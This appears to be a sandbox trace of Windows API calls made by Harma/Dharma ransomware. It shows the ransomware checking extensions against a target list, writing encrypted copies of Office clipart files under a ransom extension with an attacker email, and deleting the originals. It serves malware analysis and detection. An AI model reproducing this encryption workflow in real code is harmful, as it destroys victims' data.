[0152.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0152.137] lstrlenW (lpString=".1cd") returned 4 [0152.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0152.137] lstrlenW (lpString=".jpg") returned 4 [0152.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0152.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0152.138] lstrlenW (lpString=".doc") returned 4 [0152.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.138] lstrlenW (lpString=".docx") returned 5 [0152.138] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.138] lstrlenW (lpString=".pdf") returned 4 [0152.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.138] lstrlenW (lpString=".xls") returned 4 [0152.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.138] lstrlenW (lpString=".xlsx") returned 5 [0152.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.138] lstrlenW (lpString=".ppt") returned 4 [0152.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0152.138] lstrlenW (lpString=".zip") returned 4 [0152.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.138] lstrlenW (lpString=".rar") returned 4 [0152.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.138] lstrlenW (lpString=".bz2") returned 4 [0152.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.138] lstrlenW (lpString=".7z") returned 3 [0152.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0152.138] lstrlenW (lpString=".dbf") returned 4 [0152.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0152.139] lstrlenW (lpString=".1cd") returned 4 [0152.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0152.139] lstrlenW (lpString=".jpg") returned 4 [0152.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.139] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.139] lstrlenW (lpString="EN00202_.WMF") returned 12 [0152.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0152.298] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=6938) returned 1 [0152.298] CloseHandle (hObject=0x330) returned 1 [0152.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 0x20 [0152.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.474] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.474] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0152.476] GetLastError () returned 0x0 [0152.476] ReadFile (in: hFile=0x348, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1b1a, lpOverlapped=0x0) returned 1 [0152.634] WriteFile (in: hFile=0x328, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0152.636] ReadFile (in: hFile=0x348, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.636] WriteFile (in: hFile=0x328, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.637] SetEndOfFile (hFile=0x328) returned 1 [0152.637] CloseHandle (hObject=0x328) returned 1 [0152.637] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.637] SetEndOfFile (hFile=0x348) returned 1 [0152.640] CloseHandle (hObject=0x348) returned 1 [0152.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0152.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0152.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0152.642] lstrlenW (lpString=".doc") returned 4 [0152.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.642] lstrlenW (lpString=".docx") returned 5 [0152.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.642] lstrlenW (lpString=".pdf") returned 4 [0152.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.642] lstrlenW (lpString=".xls") returned 4 [0152.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.642] lstrlenW (lpString=".xlsx") returned 5 [0152.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.642] lstrlenW (lpString=".ppt") returned 4 [0152.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0152.642] lstrlenW (lpString=".zip") returned 4 [0152.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.642] lstrlenW (lpString=".rar") returned 4 [0152.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.642] lstrlenW (lpString=".bz2") returned 4 [0152.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.643] lstrlenW (lpString=".7z") returned 3 [0152.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0152.643] lstrlenW (lpString=".dbf") returned 4 [0152.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0152.643] lstrlenW (lpString=".1cd") returned 4 [0152.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0152.643] lstrlenW (lpString=".jpg") returned 4 [0152.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0152.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0152.643] lstrlenW (lpString=".doc") returned 4 [0152.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.643] lstrlenW (lpString=".docx") returned 5 [0152.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.643] lstrlenW (lpString=".pdf") returned 4 [0152.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.643] lstrlenW (lpString=".xls") returned 4 [0152.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.644] lstrlenW (lpString=".xlsx") returned 5 [0152.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.644] lstrlenW (lpString=".ppt") returned 4 [0152.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0152.644] lstrlenW (lpString=".zip") returned 4 [0152.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.644] lstrlenW (lpString=".rar") returned 4 [0152.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.644] lstrlenW (lpString=".bz2") returned 4 [0152.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.644] lstrlenW (lpString=".7z") returned 3 [0152.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0152.644] lstrlenW (lpString=".dbf") returned 4 [0152.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0152.645] lstrlenW (lpString=".1cd") returned 4 [0152.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0152.645] lstrlenW (lpString=".jpg") returned 4 [0152.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.734] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.734] lstrlenW (lpString="FD00074_.WMF") returned 12 [0152.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0152.768] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=17850) returned 1 [0152.768] CloseHandle (hObject=0x37c) returned 1 [0152.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x20 [0152.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0152.768] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.768] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.769] GetLastError () returned 0x0 [0152.769] ReadFile (in: hFile=0x37c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x45ba, lpOverlapped=0x0) returned 1 [0152.803] WriteFile (in: hFile=0x348, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0152.805] ReadFile (in: hFile=0x37c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.805] WriteFile (in: hFile=0x348, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.805] SetEndOfFile (hFile=0x348) returned 1 [0152.805] CloseHandle (hObject=0x348) returned 1 [0152.805] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.805] SetEndOfFile (hFile=0x37c) returned 1 [0152.808] CloseHandle (hObject=0x37c) returned 1 [0152.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0153.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0153.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0153.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0153.654] lstrlenW (lpString=".doc") returned 4 [0153.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.654] lstrlenW (lpString=".docx") returned 5 [0153.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.654] lstrlenW (lpString=".pdf") returned 4 [0153.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.654] lstrlenW (lpString=".xls") returned 4 [0153.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.654] lstrlenW (lpString=".xlsx") returned 5 [0153.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.654] lstrlenW (lpString=".ppt") returned 4 [0153.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0153.654] lstrlenW (lpString=".zip") returned 4 [0153.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.655] lstrlenW (lpString=".rar") returned 4 [0153.655] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.655] lstrlenW (lpString=".bz2") returned 4 [0153.655] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.655] lstrlenW (lpString=".7z") returned 3 [0153.655] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0153.655] lstrlenW (lpString=".dbf") returned 4 [0153.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0153.655] lstrlenW (lpString=".1cd") returned 4 [0153.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0153.655] lstrlenW (lpString=".jpg") returned 4 [0153.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0153.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0153.655] lstrlenW (lpString=".doc") returned 4 [0153.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.655] lstrlenW (lpString=".docx") returned 5 [0153.655] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.655] lstrlenW (lpString=".pdf") returned 4 [0153.655] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.655] lstrlenW (lpString=".xls") returned 4 [0153.655] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.655] lstrlenW (lpString=".xlsx") returned 5 [0153.655] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.655] lstrlenW (lpString=".ppt") returned 4 [0153.655] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0153.656] lstrlenW (lpString=".zip") returned 4 [0153.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.656] lstrlenW (lpString=".rar") returned 4 [0153.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.656] lstrlenW (lpString=".bz2") returned 4 [0153.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.656] lstrlenW (lpString=".7z") returned 3 [0153.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0153.656] lstrlenW (lpString=".dbf") returned 4 [0153.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0153.656] lstrlenW (lpString=".1cd") returned 4 [0153.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0153.656] lstrlenW (lpString=".jpg") returned 4 [0153.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.656] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0153.656] lstrlenW (lpString="FD00296_.WMF") returned 12 [0153.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.571] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=15856) returned 1 [0154.571] CloseHandle (hObject=0x384) returned 1 [0154.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x20 [0154.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0154.613] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.613] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0154.614] GetLastError () returned 0x0 [0154.614] ReadFile (in: hFile=0x340, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x3df0, lpOverlapped=0x0) returned 1 [0154.657] WriteFile (in: hFile=0x334, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x3e00, lpOverlapped=0x0) returned 1 [0154.658] ReadFile (in: hFile=0x340, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.658] WriteFile (in: hFile=0x334, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.659] SetEndOfFile (hFile=0x334) returned 1 [0154.659] CloseHandle (hObject=0x334) returned 1 [0154.659] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.659] SetEndOfFile (hFile=0x340) returned 1 [0154.661] CloseHandle (hObject=0x340) returned 1 [0154.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0154.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0154.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0154.686] lstrlenW (lpString=".doc") returned 4 [0154.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.686] lstrlenW (lpString=".docx") returned 5 [0154.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.686] lstrlenW (lpString=".pdf") returned 4 [0154.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.686] lstrlenW (lpString=".xls") returned 4 [0154.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.686] lstrlenW (lpString=".xlsx") returned 5 [0154.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.686] lstrlenW (lpString=".ppt") returned 4 [0154.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0154.687] lstrlenW (lpString=".zip") returned 4 [0154.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.687] lstrlenW (lpString=".rar") returned 4 [0154.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.687] lstrlenW (lpString=".bz2") returned 4 [0154.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.687] lstrlenW (lpString=".7z") returned 3 [0154.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0154.687] lstrlenW (lpString=".dbf") returned 4 [0154.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0154.687] lstrlenW (lpString=".1cd") returned 4 [0154.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0154.687] lstrlenW (lpString=".jpg") returned 4 [0154.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0154.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 